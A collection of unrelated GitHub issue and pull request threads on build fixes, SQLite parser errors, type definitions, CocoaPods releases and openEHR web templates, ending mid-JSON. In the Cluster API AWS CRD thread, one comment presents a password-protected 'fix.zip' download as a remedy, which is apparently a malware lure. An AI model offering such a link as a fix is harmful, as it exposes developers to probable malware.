introduce option property

Fixes #248,  add option.get
Problem
Currently Option.{isEmpty, nonEmpty, isDefined} have no ast
Solution
Create Ast
Notes
option.get will cause runtime error while called on NULL  sql values, I don't know whether we should support it
Checklist

[x] Unit test all changes
[x] Update README.md if applicable
[x] Add [WIP] to the pull request title if it's work in progress
[x] Squash commits that aren't meaningful changes
[x] Run sbt scalariformFormat test:scalariformFormat to make sure that the source files are formatted

@getquill/maintainers

@getquill/maintainers  I have just see #490 , and this ast is not able to support that kind operation.
And also option.get seems not to be a good idea, so I would like to close this pr now.


[Feat] Border of the card is not viewly good

Description
the border should be black or some good colour  which will make user eye feel good
Screenshots

Checklist

[X] I have checked the existing issues
[X] I have read the Contributing Guidelines
[X] I'm a GSSoC'24-Extd contributor
[X] I'm a Hacktoberfest'24 contributor
[X] I am willing to work on this issue (optional)

@beRajeevKumar plz assign me this

please assign this to me


Add slimapi

Overview

Adds slim-api.json which is a subset of the Domino v4 internal API currently used by KSM.
Replaces domino-openapi.json in build step with slim-api.json

Source data
domino-internal-api-usage.csv

@studioph do you think we should keep that CSV here in Git so we can keep track if we add new stuff etc?


Python extension should contextually show recommendations for Pylint and Flake8 extensions

I opened a Python project and was immediately greeted with these notifications:

IMHO we should not be showing multiple notifications at once to the user. @tyriar also pointed out we should only show these notifications if they are relevant to the project, e.g. if the user has pylint or flake8 configuration files in the project.

@joyceerhl Was this on codespaces?

Yes it was

As far as I remember devcontainers turn on all linting. So, you see this there.
/cc @brettcannon @luabud We could try show only one. But, the intent here is to get everyone off of the old tooling. If we don't show both chances are less that people will transition in time for tool deprecation.

As far as I remember devcontainers turn on all linting.

I turned those settings off back in March.


Latest Version not updated

Hi,
I am trying to update latest version of library using pod but the same version has updated.

Hey @praveen4D2 my bad, Carthage was up, but not Cocoapods, could you try again now please?

Hi,
I again tried but its not updated , kindly fix the issue ?

Hi @praveen4D2,
The pod is up here https://cocoapods.org/pods/YPImagePicker.
I just tried integrating it through Cocoapods on my side and it worked well.
Have you tried running pod repo update before calling pod update ?
Let me know how this goes,

@s4cha  seems still not updated.   One direct indication is: libraryMediaType is not a member of 'YPImagePickerConfiguration' (from pod). But the source within example has that definition.

ACK: latest Pod works for me.

Awesome ! @praveen4D2 can we close this?

Closing this for now, don't hesitate to reopen if needed :)


Parser Stack Overflow

I am getting the above error when trying to create a trigger, this only seems to be the case with complex queries. For example
CREATE TRIGGER delete_oldest_logs AFTER INSERT ON Logs WHEN (SELECT COUNT(*) FROM Logs) > 100000 BEGIN DELETE FROM Logs WHERE id = (SELECT id FROM Logs ORDER BY timestamp LIMIT 1); END;
E (2126) LogDatabase: Trigger query preparation failed: parser stack overflow
The above query results in a parser stack overflow, All other queries are working correctly, include creating the table
		void LogDatabase::initDatabaseTable()
		{
			// Create database
			auto query = m_database.query("CREATE TABLE IF NOT EXISTS Logs ("
										  "[id]    INTEGER,"
										  "[timestamp] BIGINT,"
										  "[level] INT UNSIGNED,"
										  "[file] VARCHAR(64),"
										  "[message] VARCHAR(1024),"
										  "PRIMARY KEY([id] AUTOINCREMENT));");
			if (query)
			{
				if (query->exec())
				{
					ESP_LOGI(TAG, "Logs table created successfully or already exists");
				}
				else
				{
					ESP_LOGE(TAG, "Could not create Logs table : %s", query->lastError().c_str());
				}
			}
			else
			{
				ESP_LOGE(TAG, "Query preparation failed");
				return;
			}

			std::string trigger_sql =
				"CREATE TRIGGER delete_oldest_logs "
                "AFTER INSERT ON Logs "
                "WHEN (SELECT COUNT(*) FROM Logs) > 100000 "
                "BEGIN "
                "DELETE FROM Logs WHERE id = (SELECT id FROM Logs ORDER BY timestamp LIMIT 1); "
                "END;";

			ESP_LOGI(TAG, "Trigger SQL: %s", trigger_sql.c_str()); // Log the SQL query
			query->reset();
			query = m_database.query(trigger_sql);

			if (query)
			{
				if (query->exec())
				{
					ESP_LOGI(TAG, "Trigger created successfully or already exists");
				}
				else
				{
					ESP_LOGE(TAG, "Could not create Trigger : %s", query->lastError().c_str());
				}
			}
			else
			{
				ESP_LOGE(TAG, "Trigger query preparation failed: %s", m_database.lastError().c_str());
			}

			// Create parametrized queries
			m_insert_query = m_database.query("INSERT INTO Logs VALUES (NULL, ?, ?, ?, ?);");
			if (!m_insert_query)
			{
				ESP_LOGE(TAG, "Could not prepare insert query: %s", m_insert_query->lastError().c_str());
			}
		}

I have tried also with the later version of SQLite from the PR (Upgrade to SQLite 3.46.0)
Any help appreciated!

Thank you, I have changed YYSTACKDEPTH to 30 and indeed to 0 for dynamic allocation and both result in the same error message.
SQL Query executes and creates the trigger fine in SQL Browser.
Thanks
Adam


[Big Refactor]Make Container contain single elements (?)

Rather than SimpleType::Qontainer, ClassicType::Container and HashableType::Container, instead make SimpleType/ClassicType/HashableType be aliases for Container<SimpleElem/ClassicElem/HashableElem> and add to Container an enum variant Single(T) (a single value).
This may not be a win, but will probably make more sense after #286 which takes us partway there, and solves the hack in typecheck_const that there are currently two ways to express the SimpleType that's (any container of) a ClassicType:

SimpleType::Classic(ClassicType::Container(Container::List(clas_ty)))
SimpleType::Qontainer(Container::List(SimpleType::Classic(clas_ty)))

Instead there would be only one way: Container::List(Container::Single(SimpleElem::Classic(clas_ty)))

Done as part of #378


fix: Make sure to accept SymbolFiles without trailing newlines

TBH, the logic that splits things into files is a bit weird. Instead of having the parser reject anything that is not newline terminated is a bit weird. Ideally the SymbolFile would split things into lines and feed lines into the Parser. Since the SymbolFile known exactly when the input stream is exhausted.
Either way, the fix is a bit convoluted and suboptimal, but does what its supposed to, so meh.

yeah i was worried about this when i wrote the impl but relieved to see that dump_syms seemingly guaranteed it. i guess you found a case that doesn't?


Improve Listing consistency for YouTube Platform

Hacktoberfest notes:

due to volume of submissions, we may not be able to review PRs that do not pass tests and do not have informative titles.
please read our contributing guidelines
be sure to check the output of Travis-CI for linter errors
if this is your first open source contribution, make sure it's not your last!

What does this PR do?
Add info | Improve Repo
For resources
Description
Why is this valuable (or not)?
How do we know it's really free?
For book lists, is it a book? For course lists, is it a course? etc.
Checklist:

[ ] Not a duplicate
[ ] Included author(s) if appropriate
[ ] Lists are in alphabetical order
[ ] Needed indications added (PDF, access notes, under construction)

see #4579


Allow installing this repository with NPM

Adding a name to package.json allows NPM to install this repository.

LGTM


release 3.2.3

This change is

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 69.65%. Comparing base (385213e) to head (f8f7390).

Additional details and impacted files
@@           Coverage Diff           @@
##           master     #223   +/-   ##
=======================================
  Coverage   69.65%   69.65%
=======================================
  Files         374      374
  Lines       31300    31300
  Branches     4384     4384
=======================================
  Hits        21803    21803
  Misses       8479     8479
  Partials     1018     1018

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Add more quantitative data to the code usage SDR

Add something like the following to the report/app:

Quantitative sentences eg. of the X codes in the [delivery] codelist: X are driving 80% of volume in the latest year. X of these codes are in the top volume since 2011, however XX codes are only present from 2018 onwards. [maybe investigate a little - this coincides with new measures/codes being implemented/change to NICE guidelines]
Top 10 codes table for each codelist in latest year and over whole period separately (is there a difference in the top 10?)
Codes with the most variation over the time period. Focus on codes with variation which are contributing to high volumes (>5% codes) + change drastically (more than 30% change across a year, and separately, across the period). Use cut off of 5 variations per codelist - if there are more than that, tweak parameters to get fewer.

@milanwiedemann  to check if all changes are merged into repo

@milanwiedemann to update

done


In-depth testing

We should aim for a good test coverage. For example, things like the transports deserve a test (abridged doesn't even work right now!), but ideally we would review the code or apply some coverage tools to get a better idea of what deserves more attention.

In particular, the sender should make sure that all the buffers are reused and cleared correctly, what happens when two messages arrive at once or only one and partial, etc. Context: https://t.me/gramme_rs/5226. Probably adding a mock server that replies twice.

The CI should also test with all features enabled.

The CI should also test with all features enabled.

It's been a while and as more users pick up the library more things get uncovered. Think this is fine for now as I've no clue how to properly and automatically test stuff like forcing disconnections.


Added Navbar to Errand Tracker

Description

Added Navbar to Errand Tracker

I think eventually dashboard/user needs to link to my component.

How to test

n/a
Notes

made minor css changes. got rid of top bar subcomponent and moved all that info to bottomsheet after studying the ui of delivery apps more lol. feel free to merge post-mvp?
Issue tracking

 Added NavBar to Errand Tracker


jsmpp doesn't implement alert_notification for TRX (Transceiver mode)

According to SMPP 3.4, alert_notification is allowed for both RX and TRX:

However SMPPSessionBoundTRX does not implement processAlertNotification and thus uses the one from SMPPSessionBoundTX which does nothing with it.
I will create pull request to fix this

Thanks for the catch!. I merged the PR.


Update Cluster API AWS CRD to support new fields

Currently some fields are missing from Cluster API AWS CRD and make kubeconform fails on valid resources.
For example, spec.addons.configuration<EMAIL_ADDRESS>Implemented by https://github.com/datreeio/CRDs-catalog/pull/374 .

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."


IterativeFlowControlTest is flaky

Should finish within several seconds but sometimes times out.
example: https://travis-ci.org/uwescience/myria/jobs/37004647
Also tested on our server and got timed out sometimes.

I haven't seen it happening again after #680 and #717 were merged, so I'm closing it. If anyone observes it again, feel free to reopen.


Definition of ssize_t in FmqDefines.h clashes with definition in osconfig.h of DCMTK

osconfig.h in DCMTK (a widely used DICOM Toolkit) already defines ssize_t as long:
/* Define `ssize_t' to `long' if <sys/types.h> does not define. */
#define HAVE_NO_TYPEDEF_SSIZE_T
#ifdef HAVE_NO_TYPEDEF_SSIZE_T
#define ssize_t long
#endif

When used in combination with finalmq the following error occurs in FmqDefines.h (Visual Studio 2022, SDK 19041):

Actually, ssize_t depends on the platform.
For 64 bit platform ssize_t has 64 size. For 32 bit platform, it has 32 bit.
There should be even an ifdef for the different platforms.

Yes, unfortunately different libraries define ssize_t differently. This makes compiling and linking them in one project really hard.
OpenSSL does define their own ossl_ssize_t e.g.:
ifndef ossl_ssize_t
#  define ossl_ssize_t ssize_t
#  if defined(SSIZE_MAX)
#   define OSSL_SSIZE_MAX SSIZE_MAX
#  elif defined(_POSIX_SSIZE_MAX)
#   define OSSL_SSIZE_MAX _POSIX_SSIZE_MAX
#  else
#   define OSSL_SSIZE_MAX ((ssize_t)(SIZE_MAX>>1))
#  endif
# endif

As DCMTK is included first it sets the stage in our project. So ssize_t is long. finalmq library by itself compiles with int64_t. If I try to link both libraries and got some code of finalmq included the code is built with long but in finalmq it has a different type thus linking the built code with the library throws many linking errors.
I had to change the FmqDefines.h to
#if defined(WIN32) || defined(__MINGW32__)
#include <winsock2.h>
#if !defined(ssize_t)
using ssize_t = long;
#endif
#define strtof32 strtof
#define strtof64 strtod
#define MSG_MORE MSG_PARTIAL
#else
#include <sys/types.h>
using SOCKET = int;
namespace finalmq
{
static const SOCKET INVALID_SOCKET = -1;
} // namespace finalmq
#endif

and recompile everything. Afterwards compiling and linking both libraries work. Maybe a solution like in OpenSSL with another define works to keep things separated. What do you think?

Do you compile for 32 bit platform or 64?

Both

This is the definition for size_t in the windows header vcruntime.h
// Definitions of common types
#ifdef _WIN64
typedef unsigned __int64 size_t;
typedef __int64          ptrdiff_t;
typedef __int64          intptr_t;
#else
typedef unsigned int     size_t;
typedef int              ptrdiff_t;
typedef int              intptr_t;
#endif
So, size_t is different on the platforms. This should also be for ssize_t.
I would define ssize_t in finalmq as:
#if !defined(ssize_t)
#if defined(_WIN64)
using ssize_t = std::int64_t;
#else
using ssize_t = std::int32_t;
#endif
#endif

I think, DCMTK should also fix it the same way.
But in case, they will not fix it, we could do the following solution:
#if !defined(ssize_t)
#if defined(_WIN64) && !defined(FINALMQ_WIN64_SSIZE_AS_32BIT)
using ssize_t = std::int64_t;
#else
using ssize_t = std::int32_t;
#endif
#endif
I would also define FINALMQ_WIN64_SSIZE_AS_32BIT as an cmake option. This will solve your problem.

Perfect. I will have a look into the DCMTK repository if this has been already changed in the dev branch and contact the authors if it hasn't.

I got the response of the DCMTK team. They added it to their issue tracker:
https://support.dcmtk.org/redmine/issues/1131
They have a valid point: The above fix is only for WIN64. Other 64bit systems that might have not defined SSIZE_T will still use the wrong type.


Migrate to 7.x testNG

Start certification and migration process for core to latest TestNG

6.3.33-SNAPSHOT+


Add support for key operations

Implemented b2_create_key, b2_delete_key, and b2_list_keys to address #77.
I used JSDoc in a couple places, which doesn't appear to be used elsewhere in the codebase. Personally, I prefer the extra documentation, but let me know if there's a better way to handle that.
Also, if you guys have any ideas on how to make the tests more thorough, I'd be happy to hear them! Currently, they feel a little hollow. However, given that these functions are really just shuffling arguments to the API, there's not much more we can do, short of writing end-to-end tests. I manually tested the functions for a little more peace of mind.

Thanks for the contribution!


Add info about reading in Polhemus head scan file into raw instance

Currently, there is no documentation that says that the Polhemus head scan .pos file can be read into a Raw instance via mne.io.read_raw_ctf when the .pos file is placed in the CTF directory.
Proposal
Include this piece of information in the Notes of the mne.io.read_raw_ctf doc.

good idea!  Could you make a PR?  I would also suggest adding a short sentence to the CTF tutorial, saying something like "notice also that the digitized electrode positions (stored in whatever.pos) were automatically loaded and added to the ~mne.io.Raw object."  I'd probably put it somewhere around here:
https://github.com/mne-tools/mne-python/blob/0d5068dbbce76598c9c6433e1ace1265e1955564/tutorials/io/60_ctf_bst_auditory.py#L77-L89

Yeap, just created one over at #9460!


Wrapper for distributing requests between nodes randomly

Implement an adapter wrapper that, given a collection of AdapterSpec objects will route each API request to a random node.
If a connection failure occurs (e.g., timeout or connection refused), then the wrapper should automatically try to switch to the next one.  If every connection fails, then raise an exception.  Note that this does not apply when the client receives a non-200 response from the node (the connection succeeded).

Related: #159


Item terminal search bar behaviour after right click

Allows typing in the item/crafting terminal search bar after right clicking, addressing #113.

Well, technically that issue is about 1.16, which isn't supported.

Hi, thanks for this pull request! Did you test in-game to see if this works as expected?

Yes I did, everything works fine as far as I can tell.


(feat:docker) added docker to the nvidia monitor for Home assistant

I have created a Docker file to run as I run home assistant in docker

Hey great work! I was about to write my own and like always research and found yours. I have created a Docker file and Docker compose that will allow your program to run in Docker.
Simple to implement :
Clone project
Edit docker-compose port if they want to use a new port
docker compose up
By default it is using he official NVIDIA docker image and I put python on top works great

Let me know if you have questions

tnx :D


Allow enable proc to accept Rack env

Some requests can be routed differently, depending on the HTTP verb.
For instance, in FormKeep, we display the Ember app for GET /f/:token,
but handle a Form submission via a POST /f/:token.

Moved to https://github.com/rwz/ember-cli-rails/pull/217


Secret locks not visible in transaction details

Example code (https://github.com/symbol/desktop-wallet/issues/1719#issuecomment-929928841):
When announcing such aggregate with secret lock wallet is not showing SecretLock in tx details (this aggregate contains secret lock and transfer transaction) at all:

fixed in https://github.com/symbol/desktop-wallet/pull/1744


Update README.md

@pluflou I think I'm going to need your help here when you're available again 🙏

@pluflou tests now pass 🎉 can you provide your review for the PR?
this was the root cause of the numpy failures in the tests: https://numpy.org/doc/stable/reference/generated/numpy.linalg.solve.html

Changed in version 2.0: The b array is only treated as a shape (M,) column vector if it is exactly 1-dimensional. In all other instances it is treated as a stack of (M, K) matrices. Previously b would be treated as a stack of (M,) vectors if b.ndim was equal to a.ndim - 1.


[incubator/ado-agent] Added helm chart for azure devops build agent

What this PR does / why we need it:
This chart provides a self-hosted linux agent for use with Azure DevOps.   It is not limited to Azure Kubernetes Service, but can be run anywhere that allows outbound connection.   These agents provide additional workers that can be customized for use during an Azure DevOps pipeline
Checklist
[Place an '[x]' (no spaces) in all applicable fields. Please remove unrelated fields.]

[ X] DCO signed
[X ] Chart Version bumped
[X ] Variables are documented in the README.md
[ X] Title of the PR starts with chart name (e.g. [stable/chart])

/assign @mattfarina

please take a look at helm/helm#6095 (comment)
we strongly encourage people to self host chart repos:
https://github.com/helm/hub/blob/master/Repositories.md
you can even do that using GitHub pages:
https://github.com/helm/hub/blob/master/docs/github.md#github-pages-as-a-repository

self hosting -- per comments above


Get summary and description from docstrings

TODO:

[ ] Update docs
[ ] Update changelog

Coverage increased (+0.02%) to 99.598% when pulling bdaa63d5e617540e1723b17088d56a5bb7d207e0 on dev_docstring_summary_description into c24f6244978b971a73e1e04ae1eb761b761531fd on master.

Coverage increased (+0.02%) to 99.598% when pulling bdaa63d5e617540e1723b17088d56a5bb7d207e0 on dev_docstring_summary_description into c24f6244978b971a73e1e04ae1eb761b761531fd on master.


Start page for employee review.

I think the start page should have a search function that allows you to search the known profiles, and an input to merely enter the persons name.

Speaking to various people, it was determeined that the 'Start Review' should be initiated from the employee's work profile.

The addnewemployee controller development is under way.


Code safety in ExponentiallyDecayingReservoir

While reading the implementation, these two things jumped out at me.
Getting a random double == 0.0 and overflowing a long counter are unlikely, but who knows.

I'm sold on the random fix, but not on the long overflow. At 1mil event/sec it'd take almost 300,000 years to get there.

Cherrypicked 172e44b as 258e80b25473184535df4f0c7ec9a80554b21f6a


user12986714: Watch accounts?\W*+get(?:t?ing)?\W*+(?:delet|destroy)ed

user12986714 requests the watch of the watch_keyword accounts?\W*+get(?:t?ing)?\W*+(?:delet|destroy)ed. See the MS search here and the Stack Exchange search in text, in URLs, and in code.

accounts?\W*+get(?:t?ing)?\W*+(?:delet|destroy)ed has been seen in 0 true positives, 0 false positives, and 0 NAAs.

Approved by Makyen in Charcoal HQ


Issue 1170: Drop Role#repository field

Fixes #1170.
Build is successful with both the commands
mvn clean install

and
mvn clean install -Dintegration.tests

Thanks, @prbobba !
@fuss86 , could you please review this?

LGTM :) Please rebase onto master @prbobba :)

Thanks for reviewing, @fuss86 , and thanks for your contribution, @prbobba ! :)
I will merge it as soon as you've rebased.

@prbobba : Could you please rebase, so that we could merge this? :)

how do I properly rebase? I am new to this.

Try this https://strongbox.github.io/developer-guide/git/rebase-vs-merge.html

Hi @prbobba, do you need some help rebasing it ?

I am trying the steps at -- https://strongbox.github.io/developer-guide/git/rebase-vs-merge.html
But facing the above issue.

Never mind, its the problem with my ssh public key. regenerated a new one and it works fine :)


[ID] Add Agency doesn't work in Staging, but does work in Prod

To reproduce:

log in
go to Agencies tab
click Add
Fill out the form
Click OK

Expected behavior: Creates a new agency
Actual behavior: Nothing responds - the modal doesn't close. If I click Cancel instead the agency doesn't appear in the list.
I verified that the button does still work in Prod, but not in Staging.

 Hitting OK on the form now closes the modal but nothing appears on the page. Refreshing also doesn't do anything.
However when I add a new user, the new agencies do appear.

Also found that I am able to switch to the view of a different agency using the settings dropdown menu despite it not showing up in the Agency list.

Superseded by #102.


跑奖励模型出错，transformers版本是最新的4.31.0 还需要更新什么库？

Describe the bug
Please provide a clear and concise description of what the bug is. If applicable, add screenshots to help explain your problem, especially for visualization related problems.
TypeError: BloomForSequenceClassification.init() got an unexpected keyword argument 'num_labels'

https://github.com/shibing624/MedicalGPT/issues/119#issuecomment-1661451904


fix(create-vite): remove eslint overrides

Description
fix https://github.com/vitejs/vite/issues/17832
we don't need the override anymore as we're using typescript-eslint v8

Sorry I missed that!


docs: PromptTemplate import from core

Changed import of PromptTemplate from langchain to langchain_core in all examples (notebooks)

@baskaryan Thanks!


Tinkerbell Workflow Execution (v1alpha2 compliment)

Rendered document link
We'll let feedback accumulate before making changes to the design.

@chrisdoherty4. FYI, something is up with your DCO.

@chrisdoherty4. FYI, something is up with your DCO.

No worries. I'll be squashing commits when it comes to actually merge.


Compatibility with macOS Sequoia

Hello,
I have two devices on Sequoia that I use Jamf Sync, and things have been slow and buggy with Jamf Sync.
I just added a new package to my distribution point, and clicking the "Refresh" button does nothing. I closed out Jamf Sync and had to force quit to get it to close all the way.
Once I re-opened, I chose my Source and Destination, and it took about 1 minute to pop up.
Once everything was there, I synced my new package, but during this time, the packages on the list disappeared and re-appeared again until it was synced over, which again, took longer than it did before going to Sequoia.
So just seeing if this is consistent with anyone else, since it is happening to two of my devices. Let me know if you need logs or anything.

Hi,
I am also affected of this issue on macOS 15.0.1.
Upload of DaVinci Resolve Package with a size of about 4.8 GB is impossible. Every time I upload the package, the connection to the File Share Distribution Point is disconnected.
With a Sonoma virtual machine on this Mac, the upload passed without any problems on the first attempt.

Same problem here, the performance on Sequia is really bad, the application seems to get stuck all the time. Mounting the SMB shares & synchronization forever, even for small packages.

This is really poor, i recommend everyone to reach out to their TAM and log support cases. This is unprofessional from Jamf to get rid of Jamf admin and expect us to use a tool which is not only buggy but unsupported.

We tested with Sequoia and didn't notice any issues. However, version 1.4.0 that should have fixed an issue where the computer could fall asleep during a large upload to a file share. If you happen to be running a beta version of Sequoia, I could see that being slower because Apple does a lot more behind the scenes so they can be alerted to problems during the beta period. So make sure you're on the latest version of Sequoia. If you still have problems with the latest version of Sequoia and version 1.4.0 of Jamf Sync, please post the specifics of what works and what doesn't work or is slow.

Hi Harry,
Here is my average experience syncing a package when opening Jamf Sync for the first time. Main time sink is getting the package to show up, and once I press Synchronize, it gets stuck on that smaller window without a progress bar. On Sonoma, it instantly went to the progress bar window. I'm on 15.0.1, no beta, and this is a server set to never sleep.
https://www.youtube.com/watch?v=m_1gpHPc0cY


Default to raspberry pi target

I think you should default to the rpi target in these files. That being said, is this actually the rpi target? It didn't seem like it was actually. I thought rpi was armv7

Yes, this is the correct architecture for the 64bit builds of raspbian.


Android | Perf metrics included alongisde test results for physical devices

Author the user story for this feature
As an Android developer, I would like to be able to obtain perf metrics included with the test results so I can have a more complete result set whenever running tests.
Describe the solution
Whenever a test is run on an android physical device, firebase automatically collects some perf metrics, which provide some useful information complementing the test result.
These results are already shown in the firebase console, but ideally we would obtain these results included alongside the actual test results.
The API used to obtain these results is:
https://firebase.google.com/docs/test-lab/reference/toolresults/rest/v1beta3/projects.histories.executions.steps.perfMetricsSummary/create

let's generate a json report for this

Thanks a lot for taking this on very quickly. Just out of curiosity. Will we obtain the exact same JSON that's returned from the API in the results or will there be any additional processing and a different JSON report will be generated?

Thanks a lot for taking this on very quickly. Just out of curiosity. Will we obtain the exact same JSON that's returned from the API in the results or will there be any additional processing and a different JSON report will be generated?

Hey @spinEdamageD
It will be the same JSON as returned from API

Thanks a lot for taking this on very quickly. Just out of curiosity. Will we obtain the exact same JSON that's returned from the API in the results or will there be any additional processing and a different JSON report will be generated?

Hey @spinEdamageD
It will be the same JSON as returned from API

Oh that's great. Thanks a lot for the confirmation!


Only use rack-timeout in staging or production environments.

This causes intermittent failures in Capybara test suites where js is
enabled.
See heroku/rack-timeout#55 for more information.
We successfully used it in 1D touch https://github.com/1dtouch/1dtouch-music/pull/325, and stopped Travis frequent timeouts we had before.

:+1:

No more frustration :heart:


DV_SCALE doesn't seem to be properly supported in web template?

Hey all, thanks for the the wonderful work on EHRbase!
Configuration information

EHRbase version: 0.19.0-SNAPSHOT
openEHR_SDK version: 1.7.0-SNAPSHOT
Archie version: 1.0.4
PostgreSQL version: PostgreSQL 14.0 (Debian 14.0-1.pgdg110+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 10.2.1-6) 10.2.1 20210110, 64-bit
Java Runtime version: Oracle Corporation 11.0.13+8
Operating System version: Linux amd64 5.15.6-200.fc35.x86_64

Steps to reproduce

Upload a template containing an archetype with a DV_SCALE
Fetch the web template via GET request to http://localhost:8080/ehrbase/rest/ecis/v1/template/<template_id>

I note that DV_SCALE seems to be very uncommon at the moment and couldn't find any archetypes using it in CKM. For the application I'm building, we have a custom archetype to collect Borg Breathless Scale where there is an option of 0.5 that rules out the use of an ordinal.
Actual result

The node has an rmType of ELEMENT instead of DV_SCALE
The node has no inputs
The node has 17 children nodes of all different types, with none of them being scale. The full node is included below, but to summarise, the child IDs:

text_value
coded_text_value
multimedia_value
parsable_value
state_value
boolean_value
identifier_value
uri_value
ehr_uri_value
duration_value
quantity_value
count_value
proportion_value
date_time_value
time_value
ordinal_value
date_value

The full node
{
  "id": "amount_of_breathlessness",
  "name": "Amount of breathlessness",
  "localizedName": "Amount of breathlessness",
  "rmType": "ELEMENT",
  "nodeId": "at0004",
  "min": 1,
  "max": 1,
  "localizedNames": {
    "en": "Amount of breathlessness"
  },
  "localizedDescriptions": {
    "en": "The amount of breathlessness the patient is currently experiencing"
  },
  "aqlPath": "/content[openEHR-EHR-OBSERVATION.borg_breathlessness_scale.v0]/data[at0001]/events[at0002]/data[at0003]/items[at0004]",
  "children": [
    {
      "id": "text_value",
      "name": "Amount of breathlessness",
      "localizedName": "Amount of breathlessness",
      "rmType": "DV_TEXT",
      "min": 0,
      "max": 1,
      "localizedNames": {
        "en": "Amount of breathlessness"
      },
      "localizedDescriptions": {
        "en": "The amount of breathlessness the patient is currently experiencing"
      },
      "aqlPath": "/content[openEHR-EHR-OBSERVATION.borg_breathlessness_scale.v0]/data[at0001]/events[at0002]/data[at0003]/items[at0004]/value",
      "inputs": [
        {
          "type": "TEXT"
        }
      ],
      "inContext": true
    },
    {
      "id": "coded_text_value",
      "name": "Amount of breathlessness",
      "localizedName": "Amount of breathlessness",
      "rmType": "DV_CODED_TEXT",
      "min": 0,
      "max": 1,
      "localizedNames": {
        "en": "Amount of breathlessness"
      },
      "localizedDescriptions": {
        "en": "The amount of breathlessness the patient is currently experiencing"
      },
      "aqlPath": "/content[openEHR-EHR-OBSERVATION.borg_breathlessness_scale.v0]/data[at0001]/events[at0002]/data[at0003]/items[at0004]/value",
      "inputs": [
        {
          "suffix": "code",
          "type": "TEXT"
        },
        {
          "suffix": "value",
          "type": "TEXT"
        }
      ],
      "inContext": true
    },
    {
      "id": "multimedia_value",
      "name": "Amount of breathlessness",
      "localizedName": "Amount of breathlessness",
      "rmType": "DV_MULTIMEDIA",
      "min": 0,
      "max": 1,
      "localizedNames": {
        "en": "Amount of breathlessness"
      },
      "localizedDescriptions": {
        "en": "The amount of breathlessness the patient is currently experiencing"
      },
      "aqlPath": "/content[openEHR-EHR-OBSERVATION.borg_breathlessness_scale.v0]/data[at0001]/events[at0002]/data[at0003]/items[at0004]/value",
      "inputs": [
        {
          "type": "TEXT"
        }
      ],
      "inContext": true
    },
    {
      "id": "parsable_value",
      "name": "Amount of breathlessness",
      "localizedName": "Amount of breathlessness",
      "rmType": "DV_PARSABLE",
      "min": 0,
      "max": 1,
      "localizedNames": {
        "en": "Amount of breathlessness"
      },
      "localizedDescriptions": {
        "en": "The amount of breathlessness the patient is currently experiencing"
      },
      "aqlPath": "/content[openEHR-EHR-OBSERVATION.borg_breathlessness_scale.v0]/data[at0001]/events[at0002]/data[at0003]/items[at0004]/value",
      "inputs": [
        {
          "suffix": "value",
          "type": "TEXT"
        },
        {
          "suffix": "formalism",
          "type": "TEXT"
        }
      ],
      "inContext": true
    },
    {
      "id": "state_value",
      "name": "Amount of breathlessness",
      "localizedName": "Amount of breathlessness",
      "rmType": "DV_STATE",
      "min": 0,
      "max": 1,
      "localizedNames": {
        "en": "Amount of breathlessness"
      },
      "localizedDescriptions": {
        "en": "The amount of breathlessness the patient is currently experiencing"
      },
      "aqlPath": "/content[openEHR-EHR-OBSERVATION.borg_breathlessness_scale.v0]/data[at0001]/events[at0002]/data[at0003]/items[at0004]/value",
      "inputs": [
        {
          "suffix": "code",
          "type": "TEXT"
        },
        {
          "suffix": "value",
          "type": "TEXT"
        }
      ],
      "inContext": true
    },
    {
      "id": "boolean_value",
      "name": "Amount of breathlessness",
      "localizedName": "Amount of breathlessness",
      "rmType": "DV_BOOLEAN",
      "min": 0,
      "max": 1,
      "localizedNames": {
        "en": "Amount of breathlessness"
      },
      "localizedDescriptions": {
        "en": "The amount of breathlessness the patient is currently experiencing"
      },
      "aqlPath": "/content[openEHR-EHR-OBSERVATION.borg_breathlessness_scale.v0]/data[at0001]/events[at0002]/data[at0003]/items[at0004]/value",
      "inputs": [
        {
          "type": "BOOLEAN"
        }
      ],
      "inContext": true
    },
    {
      "id": "identifier_value",
      "name": "Amount of breathlessness",
      "localizedName": "Amount of breathlessness",
      "rmType": "DV_IDENTIFIER",
      "min": 0,
      "max": 1,
      "localizedNames": {
        "en": "Amount of breathlessness"
      },
      "localizedDescriptions": {
        "en": "The amount of breathlessness the patient is currently experiencing"
      },
      "aqlPath": "/content[openEHR-EHR-OBSERVATION.borg_breathlessness_scale.v0]/data[at0001]/events[at0002]/data[at0003]/items[at0004]/value",
      "inputs": [
        {
          "suffix": "id",
          "type": "TEXT"
        },
        {
          "suffix": "type",
          "type": "TEXT"
        },
        {
          "suffix": "issuer",
          "type": "TEXT"
        },
        {
          "suffix": "assigner",
          "type": "TEXT"
        }
      ],
      "inContext": true
    },
    {
      "id": "uri_value",
      "name": "Amount of breathlessness",
      "localizedName": "Amount of breathlessness",
      "rmType": "DV_URI",
      "min": 0,
      "max": 1,
      "localizedNames": {
        "en": "Amount of breathlessness"
      },
      "localizedDescriptions": {
        "en": "The amount of breathlessness the patient is currently experiencing"
      },
      "aqlPath": "/content[openEHR-EHR-OBSERVATION.borg_breathlessness_scale.v0]/data[at0001]/events[at0002]/data[at0003]/items[at0004]/value",
      "inputs": [
        {
          "type": "TEXT"
        }
      ],
      "inContext": true
    },
    {
      "id": "ehr_uri_value",
      "name": "Amount of breathlessness",
      "localizedName": "Amount of breathlessness",
      "rmType": "DV_EHR_URI",
      "min": 0,
      "max": 1,
      "localizedNames": {
        "en": "Amount of breathlessness"
      },
      "localizedDescriptions": {
        "en": "The amount of breathlessness the patient is currently experiencing"
      },
      "aqlPath": "/content[openEHR-EHR-OBSERVATION.borg_breathlessness_scale.v0]/data[at0001]/events[at0002]/data[at0003]/items[at0004]/value",
      "inputs": [
        {
          "type": "TEXT"
        }
      ],
      "inContext": true
    },
    {
      "id": "duration_value",
      "name": "Amount of breathlessness",
      "localizedName": "Amount of breathlessness",
      "rmType": "DV_DURATION",
      "min": 0,
      "max": 1,
      "localizedNames": {
        "en": "Amount of breathlessness"
      },
      "localizedDescriptions": {
        "en": "The amount of breathlessness the patient is currently experiencing"
      },
      "aqlPath": "/content[openEHR-EHR-OBSERVATION.borg_breathlessness_scale.v0]/data[at0001]/events[at0002]/data[at0003]/items[at0004]/value",
      "inputs": [
        {
          "suffix": "year",
          "type": "INTEGER",
